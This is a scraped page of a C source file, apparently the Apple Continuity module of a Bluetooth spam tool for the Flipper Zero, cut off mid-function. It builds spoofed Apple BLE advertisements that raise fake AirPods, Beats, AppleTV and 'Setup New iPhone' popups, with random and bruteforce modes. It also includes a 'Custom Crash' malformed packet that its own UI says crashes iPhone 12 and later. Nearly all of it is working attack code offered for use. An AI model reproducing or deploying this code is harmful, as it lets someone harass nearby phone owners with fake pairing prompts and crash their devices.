continuity.c 44 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. typedef struct {
  8. uint8_t value;
  9. const char* name;
  10. } ContinuityColor;
  11. static const ContinuityColor colors_white[] = {
  12. {0x00, "White"},
  13. };
  14. static const ContinuityColor colors_beats_flex[] = {
  15. {0x00, "White"},
  16. {0x01, "Black"},
  17. };
  18. static const ContinuityColor colors_beats_solo_3[] = {
  19. {0x00, "White"},
  20. {0x01, "Black"},
  21. {0x6, "Gray"},
  22. {0x7, "Gold/White"},
  23. {0x8, "Rose Gold"},
  24. {0x09, "Black"},
  25. {0xE, "Violet/White"},
  26. {0xF, "Bright Red"},
  27. {0x12, "Dark Red"},
  28. {0x13, "Swamp Green"},
  29. {0x14, "Dark Gray"},
  30. {0x15, "Dark Blue"},
  31. {0x1D, "Rose Gold 2"},
  32. {0x20, "Blue/Green"},
  33. {0x21, "Purple/Orange"},
  34. {0x22, "Deep Blue/ Light blue"},
  35. {0x23, "Magenta/Light Fuchsia"},
  36. {0x25, "Black/Red"},
  37. {0x2A, "Gray / Disney LTD"},
  38. {0x2E, "Pinkish white"},
  39. {0x3D, "Red/Blue"},
  40. {0x3E, "Yellow/Blue"},
  41. {0x3F, "White/Red"},
  42. {0x40, "Purple/White"},
  43. {0x5B, "Gold"},
  44. {0x5C, "Silver"},
  45. };
  46. static const ContinuityColor colors_powerbeats_3[] = {
  47. {0x00, "White"},
  48. {0x01, "Black"},
  49. };
  50. static const ContinuityColor colors_powerbeats_pro[] = {
  51. {0x00, "White"},
  52. {0x02, "Yellowish Green"},
  53. {0x03, "Blue"},
  54. {0x04, "Black"},
  55. {0x05, "Pink"},
  56. {0x06, "Red"},
  57. {0x0B, "Gray ?"},
  58. {0x0D, "Sky Blue"},
  59. };
  60. static const ContinuityColor colors_beats_solo_pro[] = {
  61. {0x00, "White"},
  62. {0x01, "Black"},
  63. };
  64. static const ContinuityColor colors_beats_studio_buds[] = {
  65. {0x00, "White"},
  66. {0x01, "Black"},
  67. };
  68. static const ContinuityColor colors_beats_x[] = {
  69. {0x00, "White"},
  70. {0x01, "Black"},
  71. };
  72. static const ContinuityColor colors_beats_studio_3[] = {
  73. {0x00, "White"},
  74. {0x01, "Black"},
  75. {0x02, "Red"},
  76. {0x03, "Blue"},
  77. {0x18, "Shadow Gray"},
  78. {0x19, "Desert Sand"},
  79. {0x25, "Black / Red"},
  80. {0x26, "Midnight Black"},
  81. {0x27, "Desert Sand 2"},
  82. {0x28, "Gray"},
  83. {0x29, "Clear blue/ gold"},
  84. {0x42, "Green Forest camo"},
  85. {0x43, "White Camo"},
  86. };
  87. static const ContinuityColor colors_beats_studio_pro[] = {
  88. {0x00, "White"},
  89. {0x01, "Black"},
  90. };
  91. static const ContinuityColor colors_beats_fit_pro[] = {
  92. {0x00, "White"},
  93. {0x01, "Black"},
  94. };
  95. static const ContinuityColor colors_beats_studio_buds_[] = {
  96. {0x00, "Black"},
  97. {0x01, "White"},
  98. {0x02, "Transparent"},
  99. {0x03, "Silver"},
  100. {0x04, "Pink"},
  101. };
  102. static const struct {
  103. uint16_t value;
  104. const char* name;
  105. const ContinuityColor* colors;
  106. const uint8_t colors_count;
  107. } pp_models[] = {
  108. {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)},
  109. {0x0A20, "AirPods Max", colors_white, COUNT_OF(colors_white)},
  110. {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)},
  111. {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)},
  112. {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)},
  113. {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)},
  114. {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)},
  115. {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)},
  116. {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)},
  117. {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)},
  118. {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)},
  119. {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)},
  120. {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)},
  121. {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)},
  122. {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)},
  123. {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)},
  124. {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)},
  125. {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)},
  126. {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)},
  127. };
  128. static const uint8_t pp_models_count = COUNT_OF(pp_models);
  129. static const struct {
  130. uint8_t value;
  131. const char* name;
  132. } pp_prefixes[] = {
  133. {0x07, "New Device"},
  134. {0x01, "Not Your Device"},
  135. {0x05, "New Airtag"},
  136. };
  137. static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  138. static const struct {
  139. uint8_t value;
  140. const char* name;
  141. } na_actions[] = {
  142. {0x13, "AppleTV AutoFill"},
  143. {0x27, "AppleTV Connecting..."},
  144. {0x20, "Join This AppleTV?"},
  145. {0x19, "AppleTV Audio Sync"},
  146. {0x1E, "AppleTV Color Balance"},
  147. {0x09, "Setup New iPhone"},
  148. {0x02, "Transfer Phone Number"},
  149. {0x0B, "HomePod Setup"},
  150. {0x01, "Setup New AppleTV"},
  151. {0x06, "Pair AppleTV"},
  152. {0x0D, "HomeKit AppleTV Setup"},
  153. {0x2B, "AppleID for AppleTV?"},
  154. };
  155. static const uint8_t na_actions_count = COUNT_OF(na_actions);
  156. static const char* type_names[ContinuityTypeCOUNT] = {
  157. [ContinuityTypeAirDrop] = "AirDrop",
  158. [ContinuityTypeProximityPair] = "Continuity Pair",
  159. [ContinuityTypeAirplayTarget] = "Airplay Target",
  160. [ContinuityTypeHandoff] = "Handoff",
  161. [ContinuityTypeTetheringSource] = "Tethering Source",
  162. [ContinuityTypeNearbyAction] = "Continuity Action",
  163. [ContinuityTypeNearbyInfo] = "Nearby Info",
  164. [ContinuityTypeCustomCrash] = "Continuity Custom",
  165. };
  166. static const char* get_name(const Payload* payload) {
  167. const ContinuityCfg* cfg = &payload->cfg.continuity;
  168. return type_names[cfg->type];
  169. }
  170. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  171. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  172. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  173. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  174. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  175. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  176. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  177. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  178. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  179. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  180. };
  181. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  182. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  183. ContinuityType type;
  184. if(cfg && cfg->type != 0x00) {
  185. type = cfg->type;
  186. } else {
  187. const ContinuityType types[] = {
  188. ContinuityTypeProximityPair,
  189. ContinuityTypeNearbyAction,
  190. ContinuityTypeCustomCrash,
  191. };
  192. type = types[rand() % COUNT_OF(types)];
  193. }
  194. uint8_t size = packet_sizes[type];
  195. uint8_t* packet = malloc(size);
  196. uint8_t i = 0;
  197. packet[i++] = size - 1; // Size
  198. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  199. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  200. packet[i++] = 0x00; // ...
  201. packet[i++] = type; // Continuity Type
  202. packet[i] = size - i - 1; // Continuity Size
  203. i++;
  204. switch(type) {
  205. case ContinuityTypeAirDrop: {
  206. packet[i++] = 0x00; // Zeros
  207. packet[i++] = 0x00; // ...
  208. packet[i++] = 0x00; // ...
  209. packet[i++] = 0x00; // ...
  210. packet[i++] = 0x00; // ...
  211. packet[i++] = 0x00; // ...
  212. packet[i++] = 0x00; // ...
  213. packet[i++] = 0x00; // ...
  214. packet[i++] = 0x01; // Version
  215. packet[i++] = (rand() % 256); // AppleID
  216. packet[i++] = (rand() % 256); // ...
  217. packet[i++] = (rand() % 256); // Phone Number
  218. packet[i++] = (rand() % 256); // ...
  219. packet[i++] = (rand() % 256); // Email
  220. packet[i++] = (rand() % 256); // ...
  221. packet[i++] = (rand() % 256); // Email2
  222. packet[i++] = (rand() % 256); // ...
  223. packet[i++] = 0x00; // Zero
  224. break;
  225. }
  226. case ContinuityTypeProximityPair: {
  227. uint16_t model;
  228. uint8_t color;
  229. switch(payload ? payload->mode : PayloadModeRandom) {
  230. case PayloadModeRandom:
  231. default: {
  232. uint8_t model_index = rand() % pp_models_count;
  233. uint8_t color_index = rand() % pp_models[model_index].colors_count;
  234. model = pp_models[model_index].value;
  235. color = pp_models[model_index].colors[color_index].value;
  236. break;
  237. }
  238. case PayloadModeValue:
  239. model = cfg->data.proximity_pair.model;
  240. color = cfg->data.proximity_pair.color;
  241. break;
  242. case PayloadModeBruteforce:
  243. switch(cfg->data.proximity_pair.bruteforce_mode) {
  244. case ContinuityPpBruteforceModel:
  245. default:
  246. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  247. color = cfg->data.proximity_pair.color;
  248. break;
  249. case ContinuityPpBruteforceColor:
  250. model = cfg->data.proximity_pair.model;
  251. color = cfg->data.proximity_pair.color = payload->bruteforce.value;
  252. break;
  253. }
  254. break;
  255. }
  256. uint8_t prefix;
  257. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  258. prefix = cfg->data.proximity_pair.prefix;
  259. } else {
  260. if(model == 0x0055 || model == 0x0030)
  261. prefix = 0x05;
  262. else
  263. prefix = 0x01;
  264. }
  265. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  266. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  267. packet[i++] = (model >> 0x00) & 0xFF; // ...
  268. packet[i++] = 0x55; // Status
  269. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  270. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  271. packet[i++] = (rand() % 256); // Lid Open Counter
  272. packet[i++] = color; // Device Color
  273. packet[i++] = 0x00;
  274. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  275. i += 16;
  276. break;
  277. }
  278. case ContinuityTypeAirplayTarget: {
  279. packet[i++] = (rand() % 256); // Flags
  280. packet[i++] = (rand() % 256); // Configuration Seed
  281. packet[i++] = (rand() % 256); // IPv4 Address
  282. packet[i++] = (rand() % 256); // ...
  283. packet[i++] = (rand() % 256); // ...
  284. packet[i++] = (rand() % 256); // ...
  285. break;
  286. }
  287. case ContinuityTypeHandoff: {
  288. packet[i++] = 0x01; // Version
  289. packet[i++] = (rand() % 256); // Initialization Vector
  290. packet[i++] = (rand() % 256); // ...
  291. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  292. packet[i++] = (rand() % 256); // Encrypted Payload
  293. packet[i++] = (rand() % 256); // ...
  294. packet[i++] = (rand() % 256); // ...
  295. packet[i++] = (rand() % 256); // ...
  296. packet[i++] = (rand() % 256); // ...
  297. packet[i++] = (rand() % 256); // ...
  298. packet[i++] = (rand() % 256); // ...
  299. packet[i++] = (rand() % 256); // ...
  300. packet[i++] = (rand() % 256); // ...
  301. packet[i++] = (rand() % 256); // ...
  302. break;
  303. }
  304. case ContinuityTypeTetheringSource: {
  305. packet[i++] = 0x01; // Version
  306. packet[i++] = (rand() % 256); // Flags
  307. packet[i++] = (rand() % 101); // Battery Life
  308. packet[i++] = 0x00; // Cell Service Type
  309. packet[i++] = (rand() % 8); // ...
  310. packet[i++] = (rand() % 5); // Cell Service Strength
  311. break;
  312. }
  313. case ContinuityTypeNearbyAction: {
  314. uint8_t action;
  315. switch(payload ? payload->mode : PayloadModeRandom) {
  316. case PayloadModeRandom:
  317. default:
  318. action = na_actions[rand() % na_actions_count].value;
  319. break;
  320. case PayloadModeValue:
  321. action = cfg->data.nearby_action.action;
  322. break;
  323. case PayloadModeBruteforce:
  324. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  325. break;
  326. }
  327. uint8_t flags;
  328. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  329. flags = cfg->data.nearby_action.flags;
  330. } else {
  331. flags = 0xC0;
  332. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  333. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  334. }
  335. packet[i++] = flags; // Action Flags
  336. packet[i++] = action; // Action Type
  337. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  338. i += 3;
  339. break;
  340. }
  341. case ContinuityTypeNearbyInfo: {
  342. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  343. packet[i++] = (rand() % 256); // Status Flags
  344. packet[i++] = (rand() % 256); // Authentication Tag
  345. packet[i++] = (rand() % 256); // ...
  346. packet[i++] = (rand() % 256); // ...
  347. break;
  348. }
  349. case ContinuityTypeCustomCrash: {
  350. // Found by @ECTO-1A
  351. uint8_t action = na_actions[rand() % na_actions_count].value;
  352. uint8_t flags = 0xC0;
  353. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  354. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  355. i -= 2; // Override segment header
  356. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  357. packet[i++] = 5; // Continuity Size
  358. packet[i++] = flags; // Action Flags
  359. packet[i++] = action; // Action Type
  360. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  361. i += 3;
  362. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  363. packet[i++] = 0x00; // ...
  364. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  365. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  366. i += 3;
  367. break;
  368. }
  369. default:
  370. break;
  371. }
  372. *_size = size;
  373. *_packet = packet;
  374. }
  375. enum {
  376. _ConfigPpExtraStart = ConfigExtraStart,
  377. ConfigPpModel,
  378. ConfigPpColor,
  379. ConfigPpPrefix,
  380. ConfigPpCOUNT,
  381. };
  382. enum {
  383. _ConfigNaExtraStart = ConfigExtraStart,
  384. ConfigNaAction,
  385. ConfigNaFlags,
  386. ConfigNaCOUNT,
  387. };
  388. enum {
  389. _ConfigCcExtraStart = ConfigExtraStart,
  390. ConfigCcInfoLock,
  391. ConfigCcInfoDevice,
  392. ConfigCcCOUNT,
  393. };
  394. static void config_callback(void* _ctx, uint32_t index) {
  395. Ctx* ctx = _ctx;
  396. Payload* payload = &ctx->attack->payload;
  397. ContinuityCfg* cfg = &payload->cfg.continuity;
  398. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  399. switch(cfg->type) {
  400. case ContinuityTypeProximityPair: {
  401. switch(index) {
  402. case ConfigPpModel:
  403. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  404. break;
  405. case ConfigPpColor:
  406. if(payload->mode != PayloadModeRandom)
  407. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor);
  408. break;
  409. case ConfigPpPrefix:
  410. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  411. break;
  412. default:
  413. ctx->fallback_config_enter(ctx, index);
  414. break;
  415. }
  416. break;
  417. }
  418. case ContinuityTypeNearbyAction: {
  419. switch(index) {
  420. case ConfigNaAction:
  421. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  422. break;
  423. case ConfigNaFlags:
  424. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  425. break;
  426. default:
  427. ctx->fallback_config_enter(ctx, index);
  428. break;
  429. }
  430. break;
  431. }
  432. case ContinuityTypeCustomCrash: {
  433. switch(index) {
  434. case ConfigCcInfoLock:
  435. case ConfigCcInfoDevice:
  436. break;
  437. default:
  438. ctx->fallback_config_enter(ctx, index);
  439. break;
  440. }
  441. break;
  442. }
  443. default:
  444. ctx->fallback_config_enter(ctx, index);
  445. break;
  446. }
  447. }
  448. static void pp_model_changed(VariableItem* item) {
  449. Ctx* ctx = variable_item_get_context(item);
  450. Payload* payload = &ctx->attack->payload;
  451. ContinuityCfg* cfg = &payload->cfg.continuity;
  452. uint8_t index = variable_item_get_current_value_index(item);
  453. const char* color_name = NULL;
  454. char color_name_buf[3];
  455. uint8_t colors_count;
  456. uint8_t value_index_color;
  457. if(index) {
  458. index--;
  459. if(payload->mode != PayloadModeBruteforce ||
  460. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  461. payload->mode = PayloadModeValue;
  462. cfg->data.proximity_pair.model = pp_models[index].value;
  463. variable_item_set_current_value_text(item, pp_models[index].name);
  464. colors_count = pp_models[index].colors_count;
  465. if(payload->mode == PayloadModeValue) {
  466. for(uint8_t j = 0; j < colors_count; j++) {
  467. if(cfg->data.proximity_pair.color == pp_models[index].colors[j].value) {
  468. color_name = pp_models[index].colors[j].name;
  469. value_index_color = j;
  470. break;
  471. }
  472. }
  473. if(!color_name) {
  474. snprintf(
  475. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  476. color_name = color_name_buf;
  477. value_index_color = colors_count;
  478. }
  479. } else {
  480. color_name = "Bruteforce";
  481. value_index_color = colors_count;
  482. }
  483. } else {
  484. payload->mode = PayloadModeRandom;
  485. variable_item_set_current_value_text(item, "Random");
  486. color_name = "Random";
  487. colors_count = 1;
  488. value_index_color = 0;
  489. }
  490. item = variable_item_list_get(ctx->variable_item_list, ConfigPpColor);
  491. variable_item_set_values_count(item, colors_count);
  492. variable_item_set_current_value_index(item, value_index_color);
  493. variable_item_set_current_value_text(item, color_name);
  494. }
  495. static void pp_color_changed(VariableItem* item) {
  496. Payload* payload = variable_item_get_context(item);
  497. ContinuityCfg* cfg = &payload->cfg.continuity;
  498. uint8_t index = variable_item_get_current_value_index(item);
  499. if(payload->mode != PayloadModeBruteforce ||
  500. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  501. payload->mode = PayloadModeValue;
  502. uint8_t model_index = 0;
  503. for(; model_index < pp_models_count; model_index++) {
  504. if(cfg->data.proximity_pair.model == pp_models[model_index].value) break;
  505. }
  506. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  507. variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name);
  508. }
  509. static void pp_prefix_changed(VariableItem* item) {
  510. Payload* payload = variable_item_get_context(item);
  511. ContinuityCfg* cfg = &payload->cfg.continuity;
  512. uint8_t index = variable_item_get_current_value_index(item);
  513. if(index) {
  514. index--;
  515. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  516. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  517. } else {
  518. cfg->data.proximity_pair.prefix = 0x00;
  519. variable_item_set_current_value_text(item, "Auto");
  520. }
  521. }
  522. static void na_action_changed(VariableItem* item) {
  523. Payload* payload = variable_item_get_context(item);
  524. ContinuityCfg* cfg = &payload->cfg.continuity;
  525. uint8_t index = variable_item_get_current_value_index(item);
  526. if(index) {
  527. index--;
  528. payload->mode = PayloadModeValue;
  529. cfg->data.nearby_action.action = na_actions[index].value;
  530. variable_item_set_current_value_text(item, na_actions[index].name);
  531. } else {
  532. payload->mode = PayloadModeRandom;
  533. variable_item_set_current_value_text(item, "Random");
  534. }
  535. }
  536. static void extra_config(Ctx* ctx) {
  537. Payload* payload = &ctx->attack->payload;
  538. ContinuityCfg* cfg = &payload->cfg.continuity;
  539. VariableItemList* list = ctx->variable_item_list;
  540. VariableItem* item;
  541. uint8_t value_index;
  542. switch(cfg->type) {
  543. case ContinuityTypeProximityPair: {
  544. item =
  545. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx);
  546. const char* model_name = NULL;
  547. char model_name_buf[5];
  548. const char* color_name = NULL;
  549. char color_name_buf[3];
  550. uint8_t colors_count;
  551. uint8_t value_index_color;
  552. switch(payload->mode) {
  553. case PayloadModeRandom:
  554. default:
  555. model_name = "Random";
  556. value_index = 0;
  557. color_name = "Random";
  558. colors_count = 1;
  559. value_index_color = 0;
  560. break;
  561. case PayloadModeValue:
  562. for(uint8_t i = 0; i < pp_models_count; i++) {
  563. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  564. model_name = pp_models[i].name;
  565. value_index = i + 1;
  566. colors_count = pp_models[i].colors_count;
  567. for(uint8_t j = 0; j < colors_count; j++) {
  568. if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  569. color_name = pp_models[i].colors[j].name;
  570. value_index_color = j;
  571. break;
  572. }
  573. }
  574. break;
  575. }
  576. }
  577. if(!model_name) {
  578. snprintf(
  579. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  580. model_name = model_name_buf;
  581. value_index = pp_models_count + 1;
  582. colors_count = 0;
  583. }
  584. if(!color_name) {
  585. snprintf(
  586. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  587. color_name = color_name_buf;
  588. value_index_color = colors_count;
  589. }
  590. break;
  591. case PayloadModeBruteforce:
  592. switch(cfg->data.proximity_pair.bruteforce_mode) {
  593. case ContinuityPpBruteforceModel:
  594. default:
  595. model_name = "Bruteforce";
  596. value_index = pp_models_count + 1;
  597. snprintf(
  598. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  599. color_name = color_name_buf;
  600. colors_count = 1;
  601. value_index_color = 0;
  602. break;
  603. case ContinuityPpBruteforceColor:
  604. for(uint8_t i = 0; i < pp_models_count; i++) {
  605. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  606. model_name = pp_models[i].name;
  607. value_index = i + 1;
  608. colors_count = pp_models[i].colors_count;
  609. break;
  610. }
  611. }
  612. if(!model_name) {
  613. snprintf(
  614. model_name_buf,
  615. sizeof(model_name_buf),
  616. "%04X",
  617. cfg->data.proximity_pair.model);
  618. model_name = model_name_buf;
  619. value_index = pp_models_count + 1;
  620. colors_count = 0;
  621. }
  622. color_name = "Bruteforce";
  623. value_index_color = colors_count;
  624. break;
  625. }
  626. break;
  627. }
  628. variable_item_set_current_value_index(item, value_index);
  629. variable_item_set_current_value_text(item, model_name);
  630. item =
  631. variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload);
  632. variable_item_set_current_value_index(item, value_index_color);
  633. variable_item_set_current_value_text(item, color_name);
  634. item = variable_item_list_add(
  635. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  636. const char* prefix_name = NULL;
  637. char prefix_name_buf[3];
  638. if(cfg->data.proximity_pair.prefix == 0x00) {
  639. prefix_name = "Auto";
  640. value_index = 0;
  641. } else {
  642. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  643. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  644. prefix_name = pp_prefixes[i].name;
  645. value_index = i + 1;
  646. break;
  647. }
  648. }
  649. if(!prefix_name) {
  650. snprintf(
  651. prefix_name_buf,
  652. sizeof(prefix_name_buf),
  653. "%02X",
  654. cfg->data.proximity_pair.prefix);
  655. prefix_name = prefix_name_buf;
  656. value_index = pp_prefixes_count + 1;
  657. }
  658. }
  659. variable_item_set_current_value_index(item, value_index);
  660. variable_item_set_current_value_text(item, prefix_name);
  661. break;
  662. }
  663. case ContinuityTypeNearbyAction: {
  664. item = variable_item_list_add(
  665. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  666. const char* action_name = NULL;
  667. char action_name_buf[3];
  668. switch(payload->mode) {
  669. case PayloadModeRandom:
  670. default:
  671. action_name = "Random";
  672. value_index = 0;
  673. break;
  674. case PayloadModeValue:
  675. for(uint8_t i = 0; i < na_actions_count; i++) {
  676. if(cfg->data.nearby_action.action == na_actions[i].value) {
  677. action_name = na_actions[i].name;
  678. value_index = i + 1;
  679. break;
  680. }
  681. }
  682. if(!action_name) {
  683. snprintf(
  684. action_name_buf,
  685. sizeof(action_name_buf),
  686. "%02X",
  687. cfg->data.nearby_action.action);
  688. action_name = action_name_buf;
  689. value_index = na_actions_count + 1;
  690. }
  691. break;
  692. case PayloadModeBruteforce:
  693. action_name = "Bruteforce";
  694. value_index = na_actions_count + 1;
  695. break;
  696. }
  697. variable_item_set_current_value_index(item, value_index);
  698. variable_item_set_current_value_text(item, action_name);
  699. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  700. const char* flags_name = NULL;
  701. char flags_name_buf[3];
  702. if(cfg->data.nearby_action.flags == 0x00) {
  703. flags_name = "Auto";
  704. } else {
  705. snprintf(
  706. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  707. flags_name = flags_name_buf;
  708. }
  709. variable_item_set_current_value_text(item, flags_name);
  710. break;
  711. }
  712. case ContinuityTypeCustomCrash: {
  713. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
  714. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  715. break;
  716. }
  717. default:
  718. break;
  719. }
  720. variable_item_list_set_enter_callback(list, config_callback, ctx);
  721. }
  722. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  723. [ContinuityTypeAirDrop] = 0,
  724. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  725. [ContinuityTypeAirplayTarget] = 0,
  726. [ContinuityTypeHandoff] = 0,
  727. [ContinuityTypeTetheringSource] = 0,
  728. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  729. [ContinuityTypeNearbyInfo] = 0,
  730. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  731. };
  732. static uint8_t config_count(const Payload* payload) {
  733. const ContinuityCfg* cfg = &payload->cfg.continuity;
  734. return config_counts[cfg->type];
  735. }
  736. const Protocol protocol_continuity = {
  737. .icon = &I_apple,
  738. .get_name = get_name,
  739. .make_packet = make_packet,
  740. .extra_config = extra_config,
  741. .config_count = config_count,
  742. };
  743. static void pp_model_callback(void* _ctx, uint32_t index) {
  744. Ctx* ctx = _ctx;
  745. Payload* payload = &ctx->attack->payload;
  746. ContinuityCfg* cfg = &payload->cfg.continuity;
  747. switch(index) {
  748. case 0:
